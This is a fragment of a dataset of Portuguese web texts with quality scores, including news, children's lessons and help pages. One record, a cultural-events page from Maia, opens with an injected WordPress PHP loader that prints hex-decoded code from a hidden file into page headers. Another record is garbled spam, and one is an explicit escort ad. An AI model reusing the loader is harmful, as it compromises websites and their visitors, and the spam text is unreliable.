trimestres dos dois anos. A diferença negativa é de 18%, conforme o levantamento. +No setor privado, a média de rendimento mensal era de R$ 1.488, no último trimestre de 2014 e caiu para R$ 1.481, no mesmo período. O valor médio foi reduzido tanto aos que têm, quanto aos que não têm carteira assinada. Entre os que assinam carteira, o salário médio passou de R$ 1.589 para R$ 1.582, diferença de 0,44%. Esses cálculos não consideram os trabalhadores domésticos da área privada. +Empregado doméstico - A pesquisa mostra que, em um ano, os trabalhadores domésticos com Carteira de Trabalho assinada conseguiram aumento salarial superior ao daqueles que não têm registro. De modo geral, o salário médio era de R$ 716 no último trimestre de 2014 e passou para R$ 747, no mesmo tempo de 2015, o que revela alta de 4,3%. +O salário médio dos trabalhadores domésticos com carteira assinada passou de R$ 933 nos últimos quatro meses de 2014 para R$ 977 no mesmo período de 2015, o que representa alta de 4,7%. A remuneração mensal dos que não têm registro em carteira foi de R$ 597 para R$ 605, o que significa aumento de apenas 1,3%. +Desemprego – A taxa de desocupação que, de outubro a dezembro de 2014, foi de 3,8%, ficou em 5,9 %, no mesmo período de 2015, em Mato Grosso do Sul. De janeiro a setembro do último ano, a taxa chegou a casa dos 6%. +Esse é o maior percentual desde o 1º trimestre de 2012, quando aumentou em 7,5% a taxa de desempregados. Naquela época, 58,7% das pessoas com mais de 14 anos estavam trabalhando. No fim de 2015, o nível de ocupação ficou em 61,3%. +Brasil - No país, a desocupação avançou 9%, nos últimos três meses 2015. Essa é a maior taxa dos últimos quatro anos. O resultado representa estabilidade em relação ao trimestre anterior, com taxa 8,9%, na avaliação do IBGE. +As análises apontaram diferenças significativas na taxa de desocupação entre homens e mulheres. No 4º trimestre de 2015, a taxa foi estimada em 7,7% para os homens e 10,6% para as mulheres. A taxa de desocupação dos jovens de 18 a 24 anos de idade é de 19,4%, elevada em relação a geral do país. +O grupo de pessoas com ensino médio incompleto teve desocupação de 16,3%, enquanto entre os que têm nível superior incompleto, o percentual ficou em 10,7%, mais que o dobro do verificado para aqueles com nível superior completo, que foi 4,8%. +O mercado de trabalho passa por um momento difícil. Para termos ideia, vamos aos números quanto ao aumento da parcela de lares onde ninguém trabalha.... +A resolução do Conselho Deliberativo do Fundo de Amparo ao Trabalhador (Codefat) que regulamenta a concessão do seguro-desemprego ao empregado domést... +Recentemente, as notícias do mercado imobiliário retratam um cenário de preços estagnados, vendas em desaceleração e uma alt...",original,original,original,original,3,0.6 +"Dois homens foram assaltados no estacionamento de um shopping de João Pessoa na tarde desta segunda-feira (2). Segundo informações da Polícia Militar, a dupla se dirigia até um dos bancos localizados no shopping quando um homem armado realizou uma abordagem e pediu que entregassem a bolsa que carregavam. +Conforme depoimento das vítimas, na bolsa havia cerca de R$ 75 mil, quantia que seria depositada no banco. A ocorrência foi registrada no Distrito Integrado de Segurança Pública (Disp), localizado ao lado do shopping onde ocorreu o assalto, no bairro de Manaíra. +A polícia realizou buscas nas proximidades do shopping, mas até as 17h desta segunda-feira nenhum suspeito havia sido preso.",original,original,original,original,1,0.2 +"Olá, pequenos escritores! Já pararam para pensar como as histórias são importantes? Elas nos divertem, nos ensinam e nos levam para lugares mágicos, tudo isso através das palavras! Hoje, vamos aprender juntos como criar nossos próprios textos e contar histórias que vão encantar a todos. + +Imagine que você é um explorador, pronto para descobrir um novo mundo. A folha de papel é o seu mapa, e as palavras são as ferramentas que você vai usar para construir sua aventura. O primeiro passo é ter uma ideia! Que tal escrever sobre seu animal de estimação, sobre uma viagem que você fez, ou até mesmo sobre um super-herói criado por você? Não se preocupe em ser perfeito, o importante é deixar a imaginação fluir. + +Agora que você já tem uma ideia, pense em como começar sua história. Uma boa introdução é como um convite para o leitor entrar no seu mundo. Você pode começar com uma pergunta, como: ""Você já se sentiu como se estivesse perdido em um labirinto?"", ou com uma descrição, como: ""Era uma vez, em uma floresta encantada, uma pequena fada chamada Lila..."". + +No desenvolvimento, você vai contar o que acontece na sua história. Lembre-se de usar detalhes para deixar tudo mais interessante. Descreva os personagens, os lugares e as ações. Use palavras que ajudem o leitor a imaginar a cena na cabeça dele. Por exemplo, em vez de dizer ""O cachorro correu"", você pode dizer ""O cachorro, com o pelo dourado ao vento, correu alegremente pelo parque, abanando o rabo"". + +E finalmente, chegamos à conclusão! É hora de dar um final para a sua história. Você pode resolver o problema que surgiu, mostrar o que os personagens aprenderam, ou simplesmente deixar uma mensagem bonita para o leitor. Uma boa conclusão deixa uma sensação boa, como um abraço quentinho. Que tal terminar com: ""E assim, o pequeno herói aprendeu que a verdadeira força está em ajudar os outros""? + +Escrever é como brincar de lego: você junta as pecinhas (as palavras) e cria algo novo e incrível. Não tenha medo de errar, apagar e começar de novo. Cada texto é uma oportunidade de aprender e se divertir. E lembre-se: a melhor história é aquela que vem do seu coração! Que tal começar a escrever a sua agora mesmo? Sobre o que você gostaria de contar?",Português,Produção textual,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, abordando a criação de histórias de forma didática e envolvente para crianças. Apresenta informações básicas sobre a estrutura narrativa (introdução, desenvolvimento, conclusão) e incentiva a criatividade e a expressão pessoal. A linguagem é acessível e o conteúdo é relevante para o currículo de língua portuguesa nos anos iniciais do ensino fundamental. A metáfora com o Lego é eficaz para ilustrar o processo de escrita.",5,1.0 +© FamousBirthdays.com - uso sujeito às práticas de coleta de informação detalhadas em nossa política de privacidade.,original,original,original,original,1,0.2 +"“O meu amor conhece cada gesto seu Palavras que o seu olhar só diz pro meu Se pra você a guerra está perdida Olha que eu mudo os meus sonhos, Pra ficar na sua vida!” +― Ana Carolina +Facebook +Twitter +WhatsApp +Imagem +“Olhe, tenho uma alma muito prolixa e uso poucas palavras. Sou irritável e firo facilmente. Também sou muito calmo e perdoo logo. Não esqueço nunca. Mas há poucas coisas de que eu me lembre.” +― Clarice Lispector +Facebook +Twitter +WhatsApp +Imagem +“De acordo com o Sutra, se a mente das pessoas é impura, sua terra também será impura. Pelo contrário, se suas mentes são puras, assim será sua terra. Em uma palavra não há duas terras pura e impura ao mesmo tempo. A diferença está na mente, boa ou má, das pessoas.” +― Nitiren Daishonin +Facebook +Twitter +WhatsApp +Imagem +“Como podemos nos entender (...), se nas palavras que digo coloco o sentido e o valor das coisas como se encontram dentro de mim; enquanto quem as escuta inevitavelmente as assume com o sentido e o valor que têm para si, do mundo que tem dentro de si?” +― Luigi Pirandello +Facebook +Twitter +WhatsApp +Imagem +“A paixão exige gritos; o amor, porém satisfaz-se com palavras, enquanto a simpatia pode ser silenciosa.” +― Marguerite Yourcenar +Facebook +Twitter +WhatsApp +Imagem +“Não esqueça que o verdadeiro perdão se reconhece pelos atos, muito mais que pelas palavras.” +― Paulo de Tarso +Facebook +Twitter +WhatsApp +Imagem +“Maus amigos são aqueles que falando candidamente, insinuando, bajulando e fazendo habilidoso uso das palavras, conquistam o coração dos ignorantes e destroem a bondade da mente das pessoas.” +― Nitiren Daishonin +Facebook +Twitter +WhatsApp +Imagem +“Uma palavra bem pronunciada pode economizar não só cem palavras, mas também cem pensamentos.” +― Henri Poincaré +Facebook +Twitter +WhatsApp +Imagem +“Não é no silêncio que os homens se fazem, mas na palavra, no trabalho, na ação-reflexão” +― Paulo Freire +Facebook +Twitter +WhatsApp +Imagem +“Isto às vezes é tremendo porque a gente quer exprimir sentimentos em relação a pessoas e as palavras são gastas e poucas. E depois aquilo que a gente sente é tão mais forte que as palavras...” +― António Lobo Antunes +Facebook +Twitter +WhatsApp +Imagem +“O presente é o resultado dos pensamentos do passado, e o futuro será moldado pelos pensamentos no presente. Se pensarmos corretamente, falaremos e agiremos corretamente. A palavra e a ação apenas acompanham os pensamentos.” +― Swami Sivananda +Facebook +Twitter +WhatsApp +Imagem +“As quatro coisas que não voltam para trás: A pedra atirada, a palavra dita, a ocasião perdida e o tempo passado.” +― Autor Desconhecido +Facebook +Twitter +WhatsApp +Imagem +“Nunca se vence uma guerra lutando sozinho. Você sabe que a gente precisa entrar em contato com toda essa força contida que vive guardada. O eco de suas palavras não repercutem em nada.” +― Raul Seixas +Facebook +Twitter +WhatsApp +Imagem +“Quem pensa nas consequência dos seus gestos sabe que as pessoas nos respeitam muito mais pelas imagens que construímos dentro delas do que pelas palavras que proferimos fora delas.” +― Augusto Cury +Facebook +Twitter +WhatsApp +Imagem +“Apenas pelas palavras o ser humano alcança a compreensão mútua. Por isso, aquele que quebra sua palavra atraiçoa toda a sociedade humana.” +― Montaigne +Facebook +Twitter +WhatsApp +Imagem +“Promessas são apenas palavras até começarem a ser cumpridas por nossas atitudes.” +― Carlos Hilsdorf +Facebook +Twitter +WhatsApp +Imagem +“A poesia é a criação rítmica da beleza em palavras.” +― Edgar Allan Poe +Facebook +Twitter +WhatsApp +Imagem +“A amizade é o conforto inefável de sentir-se seguro com uma pessoa, sem ter que medir palavras ou ponderar ideias.” +― George Eliot +Facebook +Twitter +WhatsApp +Imagem +“Não há nem felicidade nem infelicidade neste mundo, há apenas a comparação de um estado com outro. Apenas um homem que se sentiu o desespero final é capaz de sentir a felicidade suprema. É necessário ter desejado a morte a fim de saber como é bom viver. A soma de toda a sabedoria humana será contida nestas duas palavras: esperar e...",original,original,original,original,3,0.6 +"Olá, pequenos exploradores da língua portuguesa! Preparados para embarcar em uma aventura super divertida pelo mundo das letras e dos sinais? Hoje, vamos desvendar alguns segredos da ortografia e da pontuação, tornando a escrita uma brincadeira ainda mais legal. + +Já pensou em como as palavras são como peças de um quebra-cabeça? Cada letra tem o seu lugar certinho para formar uma palavra com o som e o significado corretos. Às vezes, uma letrinha faz toda a diferença! Por exemplo, você já reparou na diferença entre ""casa"" e ""caça""? Uma letrinha ""ç"" muda tudo! E o som também! Prestar atenção nesses detalhes é super importante para escrevermos direitinho e para que todos nos entendam. Uma dica é sempre ler bastante! Quanto mais você lê, mais fácil fica de gravar como as palavras são escritas. + +E o que dizer dos sinais de pontuação? Eles são como semáforos na nossa escrita! A vírgula (,) nos ajuda a dar pequenas pausas, como quando estamos correndo e precisamos respirar um pouquinho. Já o ponto final (.) indica que a frase terminou, como se fosse um ponto de chegada numa corrida. A interrogação (?) aparece quando fazemos uma pergunta: ""Você gosta de sorvete?"". E a exclamação (!) mostra surpresa, alegria ou espanto: ""Que legal!"". Usar os sinais de pontuação corretamente deixa o texto muito mais claro e interessante. + +Imagine que você está contando uma história para um amigo. Você não fala tudo correndo, sem pausas, não é mesmo? Você usa a voz para dar ênfase em algumas partes, faz pausas para que ele entenda bem e muda o tom de voz quando faz uma pergunta. Os sinais de pontuação fazem o mesmo na escrita! Eles ajudam o leitor a entender o ritmo e o sentido do que você está escrevendo. + +Para praticar, que tal brincar de caça-palavras? Procure em revistas e jornais palavras com ""ss"", ""rr"", ""ç"" e outras letrinhas que podem confundir. Ou então, invente frases usando diferentes sinais de pontuação. Você pode escrever sobre o seu dia, sobre um livro que gostou ou sobre um filme que assistiu. O importante é se divertir enquanto aprende! + +Lembre-se, a ortografia e a pontuação são ferramentas poderosas que nos ajudam a nos comunicar de forma clara e eficaz. Quanto mais você praticar, mais fácil e divertido será escrever. Então, pegue seu lápis, abra o caderno e comece a explorar o incrível mundo das palavras! E aí, pronto para a próxima aventura?",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos básicos de ortografia e pontuação de forma lúdica e acessível para crianças. A analogia com o quebra-cabeça e os semáforos facilita a compreensão. A sugestão de atividades práticas, como caça-palavras e criação de frases, promove o aprendizado ativo. O texto é bem escrito, claro e adequado ao público-alvo, tornando-o útil para o ensino fundamental.",5,1.0 +"Por padrão, o Google Chrome impede que os pop-ups apareçam automaticamente na tela. O Portal Acadêmico utiliza funções que necessitam o desbloqueio de pop-ups. Para realizar o ... +Documentos disponíveis para solicitação no Portal +Acessando o Portal é possível realizar a solicitação de documentos. Documentos disponíveis para Graduação: Atestado de Conclusão de Carga horária do Curso: Atestado de Matrícula; Atestado de Monitoria; Atestado de ... +Determinado aluno/membro já foi adicionado a turma/equipe, mas não consegue acessar. Como posso resolver? +ATENÇÃO: Antes de acessar o Office 365 é necessário ativar sua conta. CLIQUE AQUI se você for Funcionário ou Professor e siga o passo-a-passo.CLIQUE AQUI ... +Desinstalando o Microsoft Teams e reinstalando para correção de erros. +1. Na barra de ferramentas do Windows localize e encerre o aplicativo 2. Clique com o botão direito do mouse sobre o ícone Iniciar na barra ... +Deixando as tarefas acessíveis para alunos que forem adicionados no decorrer do curso +1. Acesse a equipe que deseja liberar os trabalhos para alunos que são adicionados no decorrer do curso 2. Localize a aba ""Trabalhos"" 3. Clique nos ""..."" 4. ...",original,original,original,original,5,1.0 +"Programa INTRODUÇÃO USO DO COMPUTADOR - Universidade Sénior da Curia +Programa INTRODUÇÃO USO DO COMPUTADOR +UNIDADE CURRICULAR: INICIAÇÃO AO USO DO COMPUTADOR +Atualmente nos aspetos profissional, lúdico e informativo, entre outros, o computador tornou-se um elemento facilitador praticamente indispensável. A matéria que nos propomos tratar visa transmitir a quem não está familiarizado com esta máquina, a aquisição de conhecimentos que permitam a fruição de algumas das vantagens que esta tecnologia oferece. +A filosofia deste plano de aprendizagem visa proporcionar um grau mínimo de conhecimento a todos os alunos, naturalmente com conhecimentos e ritmos de assimilação diversos. Assim, ele terá uma componente essencialmente prática e, obrigatoriamente, um ritmo de desenvolvimento adequado às circunstâncias. +Incidiremos em três áreas chave para desenvolvimento do programa: Hardware, Software básico, Aplicações/programas. +● Hardware. Pretende-se nesta fase que o aluno tenha conhecimentos muito elementares mas necessários à aproximação ao computador +Conhecer a máquina (Curtos apontamentos históricos e brevíssima abordagem à constituição do computador) +Manipulação do teclado (identificação das teclas mais frequentemente usadas e respetivas funções) +Rato (função dos botões) +Duração prevista: Cinco aulas de 50 minutos +● Software básico. Pretende-se que o aluno adquira conhecimentos para efectuar tarefas simples mas fundamentais no uso do computador e das suas ferramentas. +Funções copiar, colar, eliminar, guardar. +Seleção e total parcial de texto +Duração prevista: 15 aulas de 50 minutos +● Aplicações/programas. Pretende-se que o aluno aprenda a fruir do computador para – de forma útil, usar as várias vertentes que esta tecnologia oferece. +Motores de busca - busca por palavra-chave e pelo endereço (procura de horários de comboios, por exemplo, itinerários de viagem, receitas de culinária, jornais, cultura, etc) +Duração prevista: 10 aulas de 50 minutos",original,original,original,original,3,0.6 +"if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Abril na Maia - artesentreasletras.com.pt +Sobre Nós +Assinaturas +Notícias +Jornais +Colaboradores +Área Cliente +Abril na Maia +Home +Agenda Cultural +Abril na Maia +Abril na Maia +Abril 20, 2022 +Para assinalar os 48 anos da Revolução dos Cravos, a Câmara Municipal da Maia tem um programa que inclui teatro, cinema, uma exposição e apresentação de um livro sobre Zeca Afonso. +O Teatro Art’Imagem leva ao palco do Grande Auditório do Fórum da Maia o Tríptico Teatral – “A Identificação de um (o meu) País, com exibições na quinta-feira, dia 21, “O fascismo (aqui) nunca existiu”; no sábado, dia 23, “Os anos que abalaram o (nosso) mundo!”; e no dia 25 de abril, segunda-feira, “Ai o medo que (nós) temos de existir!”, terceira e última parte que estreou o mês passado na Quinta da Caverneira. Todas as peças são de entrada livre. +No Auditório Venepor, o Cineclube da Maia também se associa ao aniversário do 25 de abril de 1974 com a exibição do filme “Prazer, Camaradas!”, de José Filipe Costa. +A Biblioteca da Maia assinala o Dia da Liberdade lembrando o cantor-compositor mais identificado com a data, José Afonso, mais conhecido por Zeca Afonso. “José Afonso – Geografia de uma vida”, em parceria com a Associação José Afonso a Biblioteca tem ao dispor uma exposição que tem como objetivo dar a conhecer e ilustrar os locais onde José Afonso viveu. Regista sucintamente os locais que marcaram o mapa de Zeca Afonso e assim, também, a cronologia da sua vida. Na segunda-feira, 25 de abril, às 17h30 a Biblioteca Municipal Maia, promove a apresentação do livro “JOSÉ AFONSO – Todas as canções”, «”José Afonso é o nosso maior cantor de intervenção!” +Quem Somos +As Artes entre As Letras” é um jornal quinzenal que nasce em Maio de 2009 para florir entre debates de ideias, da História e do Património, das Artes Plásticas e da Arquitectura, da Música e da Ciência, da Filosofia e da Literatura, do Teatro e do Cinema, da Dança e da Fotografia, mas também da Lusofonia e do Ensino e Educação.",original,original,original,original,1,0.2 +"Cozinha Afetiva +Eu sempre digo: ""Se não puder fazer tudo, faça tudo o que puder"" e completo agora dizendo ""Alimentar é muito mais do que dar de comer"". Essa história que eu vou contar foi uma inspiração pra mim e tenho certeza que será para cada um de vocês. +Vou contar uma história da vida de 80 crianças que começou a ser mudada há 5 anos, quando um policial militar -é isso mesmo que eu escrevi- resolveu mostrar a essas crianças que havia um futuro melhor pra cada uma delas; que podia haver uma outra realidade, mesmo para uma comunidade carente num lugar pequeno como Boiçucanga (litoral norte de São Paulo). Esse policial chama-se William Silvério de Freitas e graças ao apoio do seu comandante Alexandre Candido de Lima, conseguiu transformar uma edícula no fundo da Base da Polícia Militar de Boiçucanga em um projeto social chamado Projeto Buscapé. +E essas crianças ganharam aulas de cidadania, de judô, de circo e depois com a parceria com a Cláudia Jardim (do Hotel Moby Dick) começaram a conhecer um pouco do que é um trabalho de hotelaria. Ali, surgia mais uma possibilidade, encaminhar futuramente as crianças para uma profissão. E a Cláudia ganhou um reforço de peso: o chef caiçara Eudes Assis, que tem orgulho de suas raízes e resolveu retribuir um pouco do muito que conquistou com a gastronomia, ensinando as crianças a cozinharem. +Sanduíche de Pernil da chef Paula Labaki e Buraco Quente do chef Carlos Ribeiro +Primeiro passo para uma programação de aulas de cozinha que acontece todas as quartas-feiras naquela mesma edícula na Base da PM de Boiçucanga e que logo foi incrementada com a ida de vários chefs, convidados pelo Eudescomo: Henrique Fogaça, Alberto Landgraf, Jefferson Rueda, Janaína Rueda, André Castro, Christian Burjakian, William Ribeiro, Cássio Prados, Wagner Resende, Paula Labaki, Lucia Sequerra, entre muitos outros. +Empanadas do Seu Ananias e Caldo Verde do chef William Ribeiro +Adorei ouvir da boca do policial William, fundador do Projeto Buscapé, que agora as crianças de lá tem a Polícia Militar como amiga e me perguntei: Será que esse não seria um ótimo projeto para atingir todas as bases da Polícia Militar? Será que esse não seria um bom caminho para resolver a violência no futuro? Estamos num ótimo momento para pensar! Depende mais da boa vontade das pessoas do que das instituições. +E o projeto cresceu! Então, hora de arrecadar fundos e lá foi uma multidão de voluntários unirem esforços para fazerem um Arraial com toda a renda revertida. +Pessoas doaram seu tempo, apoiadores doaram produtos e as crianças nos presentearam com desenhos para decorar as barracas e uma bela dança de quadrilha. Vários chefs convidados pelo Eudes, deram o seu sim e doaram muita coisa boa de comer. Uns até viajaram pra Boiçucanga para servir comida numa barraca que foi criada especialmente para eles. +Outros chefs só não estavam fisicamente presentes, embora quisessem muito, mas enviaram o seu melhor: Carlos Ribeiro (Na Cozinha), enviou o seu desejado sanduíche – Buraco Quente e Elzinha Nunes (Dona Lucinha) mandou Beijinho Quente e Pé de Moleque. Pra completar o time Taciana Kalili entregou caixas e mais caixas de brigadeiros da Brigaderia.",original,original,original,original,3,0.6 +"A Secretaria Estadual do Meio Ambiente interditou nesta terça-feira (30) o aterro sanitário de Ourinhos (SP). A medida foi cumprida por técnicos do escritório regional da Companhia Ambiental do Estado de São Paulo (Cetesb) de Assis. Segundo o gerente regional da Cetesb, Alcides Arroyo Filho, diz que o local funciona sem licença ambiental há 20 anos. +“Um dos motivos é que não tem licença ambiental, outro são as condições inadequadas de operação, como o esgotamento da área e a proximidade com o aeroporto que não tem mais como continuar. Ele não foi implantado como uma obra que o aterro precisa, ele não tem proteção do solo, não tem captação de chorume, que é o líquido gerado pela decomposição, não tem uma estação de tratamento de gases. Então ainda falta bastante coisa para ele se tornar um aterro sanitário.” +Os caminhões que saíram nesta segunda-feira de manhã para fazer a coleta na cidade puderam descarregar o material, mas, segundo a Cetesb, esta foi a última vez, pois a interdição é definitiva e se houver descumprimento, a Superintendência de Água e Esgoto (SAE) será denunciada. +A SAE de Ourinhos informou que vai entrar com recurso contra a interdição, porque está cumprindo todos os prazos estabelecidos pelo termo de ajuste de conduta assinado com o Ministério Público. +A SAE informou ainda que adquiriu um terreno para as construções da Central de Tratamento de Resíduos Sólidos e do novo aterro sanitário e que uma licitação já definiu a empresa que vai fazer a obra. +Sobre a falta de licença ambiental, a SAE disse que solicitou o documento, mas não conseguiu pelo fato do aterro estar perto do aeroporto. +APOIE +Seu apoio é importante para o Jornal Contratempo. +Formas de apoio: +Via Apoia-se: https://apoia.se/jornalcontratempo_apoio +Via Pix: pix@contratempo.info +Categorias: Principal, Sustentabilidade +Navegação de Post +← Anterior Postagem anterior: Dental Ourinhos é campeão do Torneio Início “Pedro Braz da Palma” dos Comerciários",original,original,original,original,2,0.4 +"Oi sou Savana massagista, trabalho com público masculino massagens, atendimento com vibros sou tranquila,cheirosa se esta afim de um atendimento, alto padrão aqui estou. Aguardo vocês. +Idade: 38 +Peso (kg): 68 +Altura (m): 1,68 +Oral sem:sim +Beija:talvez +Anal:a combinar +Mora só: sim +Horário:8h as 20h +Valor:100,00~150,00 +Atende:ele +Aceita cartão: sim +WhatsApp: sim +Publicado:04/10/22 +Comente sobre a acompanhante. +Comentários desrespeitosos, impertinentes, sem conexão com o tema ou que denigram a imagem da pessoa estão sujeitos à moderação e podem ser excluidos.",original,original,original,original,1,0.2 +"linda blue: Sinto-me tão crescida +Não me sai da cabeça que estive numa feira de quinquilharia e lixo que os outros já não querem ter em casa na avenida da Liberdade, vi à venda duas caixas com bonecos da minha Heidi — Caixa 1: Heidi com o fato da montanha + avô + Pedro; Caixa 2: Heidi com o fato da cidade + Clarinha (na cadeira de rodas e tudo!) + Menina Rottenmeier) —, e não comprei. Nem sequer perguntei o preço. Resisti até ao limite do insuportável. Também me envergonhei um bocado. E não tinha aonde pôr a bonecada. Mas estou a chorar lágrimas de sangre desde ontem. Mentalmente, estou em posição fetal, até recuperar disto. +Por outro lado, parece que houve um incêndio lá para os lados de Loures. A minha rua, equidistantíssima desse lugar, esteve umas horas com fumo, cheiro a queimado e fuligem. E a mim só me ocorre isto: +Ana11/7/17Ora e eu que tanto tentei perceber onde era o fogo nem um sinalzinho de fumo vi......ResponderEliminarRespostasLinda Blue11/7/17Eu percebi porque vi nas notícias :)Mas moro a alguns quilômetros de Loures. Deve ter sido o vento que trouxe aquilo tudo.EliminarResponderAdicionar comentárioCarregar mais...",original,original,original,original,1,0.2 +"Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Vídeo completo encontrar o método * por favor, dê a classificação de vídeo do site +Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Vídeo Completo veja como +Por favor, dê a distribuição de vídeo de avaliação do site > Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ +© Ocioso buraco de 2Zero14 a produção do Comitê +Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Vídeo completo +Durante a entrega do ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ O enredo e o elenco e a equipe presente, é claro, o que ver e fazer impressões, comentários, etc para organizar a sua página.Sinta-se livre para ver como também para verificar seIsso. +>> Imediatamente ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Para ver! < < +Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Avaliação veja como +Vídeo( ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ )Suportar, sem Como apreciar e usar. +VOD,""ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~"" Tornar os serviços disponíveis mais. +【Atenção!】""Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~"" É Hulu a página oficial do edital até a entrega. +Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Este +Este""ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~"" Basta dizer que parte da sala. Eu,que é o fim do exemplo da cena. ""Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ ""A meio de uma cena marcante e um pouco engraçado coisa de lá...... +Ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Histórias +Hoje em dia,o ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Sobre as histórias que eu tenho escreveu. Check-out. +Este ocioso buraco de 2Zero14 ~NTV gênica para encontrar!~ Popular só tem emoções de novo,eu vejo que vale a pena o trabalho também pode ser referido como. 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Esta é a primeira fase do trabalho. +Teve inicio o mapeamento ""pedra por pedra"" do piso da Basílica do Santo Sepulcro. Todos os dias, centenas de peregrinos visitam a Basílica. Ao longo dos séculos,milhões de pessoas de todo o mundo caminharam sobre as pedras seculares. +Andrea Caligaris arquiteto italiano nos contou como esta sendo elaborado o trabalho: Neste momento estou desenhando as pedras, uma por uma, que serão enviadas deste iPad para o computador, a partir do qual obteremos um desenho técnico que será usado juntamente com as informações que estão sendo coletadas pelos restauradores, geólogos e outros que fazem parte da equipe, para entendermos o estado de conservação, o mapeamento das degradações, das superfícies, a fim de formular o projeto de restauração, disse Andrea Caligaris +O projeto está sendo realizado pelo Centro para conservação e restauro do patrimônio cultural, Venaria Real (Ccr), de Turim, e pelo Departamento de Ciências de Antiguidades da Universidade La Sapienza, de Roma. Esta é a primeira fase do trabalho, após a documentação através de uma varredura a laser em todo o piso da Basílica. Para o arqueólogo Osama Hamdam da Universidade Al Quds de Jerusalém : ""A abordagem do trabalho é para conservação, mesmo que, nesta fase, não esteja totalmente claro o que pode ser preservado ou não"". E ele diz ainda da sua experiência pessoal : +Estou muito feliz porque terminamos a restauração da Edícula, agora começamos com o piso. Gradualmente a situação da Basílica está melhorando, especialmente no que se refere à segurança dos visitantes, os quais vimos aumentar relativamente no último período. Nosso projeto levará em consideração a segurança dos peregrinos, bem como o aspecto estético, disse Osama Hamdam. +Santo Sepulcro - mapeamento do piso +05 fevereiro 2020, 16:16",original,original,original,original,2,0.4 +"Como o uso da tecnologia pode garantir a acessibilidade no ensino | Desafios da Educação +EdTechMercado +Como o uso da tecnologia pode garantir a acessibilidade no ensino +Por Redação 1 de novembro de 2016 +Com o avanço das tecnologias e o alcance da internet, informações são pesquisadas na rede para a realização das mais rotineiras atividades. Quando surgem dúvidas sobre determinados assuntos ou é preciso resolver algum problema, lá está o Google para trazer as respostas que precisamos. Contudo, mesmo com a inegável evolução tecnológica, pessoas com necessidades especiais enfrentam diariamente dificuldades de acesso a softwares e a conteúdos disponíveis na web. +Imagine que você está viajando de carro para a casa após a visita em uma cidade vizinha. Ao buscar pelo trajeto mais rápido, você encontra barreiras imutáveis e acaba sendo obrigado a seguir por rotas alternativas. Algumas, contudo, não estão nem finalizadas. Outras levam a novas barreiras, exigem voltas e mais voltas, ou, ainda, terminam em ruas sem saída. +Durante o caminho, você vê os outros motoristas trafegando pela rota principal, sem os percalços pelos quais está passando. Só que você não tem opção e precisa seguir pelo trajeto mais longo. E isso é extremamente cansativo. +O cenário ilustrado acima – inaceitável para muitos – é, infelizmente, a realidade de muitas pessoas com necessidades especiais ao navegarem pela internet. Inúmeros sites de instituições de ensino ou softwares disponíveis no mercado não são planejados buscando acessibilidade digital. +Dependendo da forma como é formatado e disponibilizado, por exemplo, o conteúdo não é lido por tecnologias que fazem leituras em áudio do que está escrito. Se mal organizado, com botões pequenos e links que exigem uma navegação precisa para avanço a uma página seguinte, o conteúdo também torna-se obscuro para determinados usuários. +Sem transcrições, legendas ou tradução para Libras, vídeos ficam inacessíveis para deficientes auditivos. Além disso, sites com navegação inconsistente transformam-se em verdadeiros labirintos para pessoas com dificuldades visuais, que também encontram barreiras em imagens sem as devidas descrições em textos. +Os exemplos de contratempos que pessoas com necessidades especiais enfrentam na internet são incontáveis. Felizmente, quando planejada e desenvolvida da maneira correta, a tecnologia passa a ser uma facilitadora do acesso à informação – e ao aprendizado. +Afinal, qual usuário não se beneficiaria com uma navegação consistente, com caminhos lógicos entre as variadas páginas de um site? Por que não incluir botões funcionais, com áreas clicáveis de fácil encontrabilidade pelos usuários? Transcrições e legendas facilitam o consumo do conteúdo. É muito mais fácil encontrar um vídeo cujo conteúdo está transcrito do que apenas em seu formato original. +A tecnologia precisa ser uma aliada do processo de ensino e da acessibilidade na web. Pensar as plataformas inclusivamente é um questão de cidadania. Basta colocar-se no lugar do outro. +Coronavírus cria debate sobre redução de mensalidades em escolas e faculdades +5 conselhos para coordenadores pedagógicos durante a Covid-19 +By Redação 24 de março de 2020 0 +Blackboard Brasil says: +17 novembro, 2016 at 2:01 pm +[…] adaptado para acesso via smartphones e desenvolvido seguindo as melhores práticas de usabilidade: acessível para pessoas com necessidades especiais, com navegação intuitiva, compatível para diferentes navegadores, entre outros importantes […] +Uso da tecnologia em sala de aula desperta interesse nos alunos - Blackboard says: +22 março, 2017 at 4:04 pm +[…] do que atrair e motivar, a tecnologia também pode garantir a acessibilidade no ensino, colaborando para que barreiras sejam superadas por pessoas que têm necessidades especiais. Nesse […] +Insights73557 views +EAD45106 views +EdTech39726 views +9 de setembro de 2019 73557 views +30 de agosto de 2019 45106 views +1 de junho de 2018 39726 views +12 de março de 2020 19845 views",original,original,original,original,3,0.6 +"20 de mai de 2015 14:51 +Gostaria de saber se é vantagem comprar ingressos para os Parques Universal (1 dia em cada parque) e Magic Kingdon (1 dia de parque), no Brasil ou diretos nos parques em Orlando. +21 de mai de 2015 01:18 +É sempre interessante pesquisar, considerando o valor do dólar e o IOF. Sites como o decolar.com muitas vezes apresentam ofertas vantajosas, principalmente se considerar que não pagará o IOF de 6,38, incidente nas transações internacionais com cartões de crédito. Outro fator a considerar é a possibilidade de parcelamento que existe, por exemplo, no site citado. +Vc mencionou a compra de ingresso de um dia para Universal. Gostaria apenas de lembrar quanto à Universal, que é muito interessante comprar o ingresso para Universal e Islands of Advneture com a opção Park to Park, pois o Expresso Hogwarts, atração bem interessante (trem do Harry 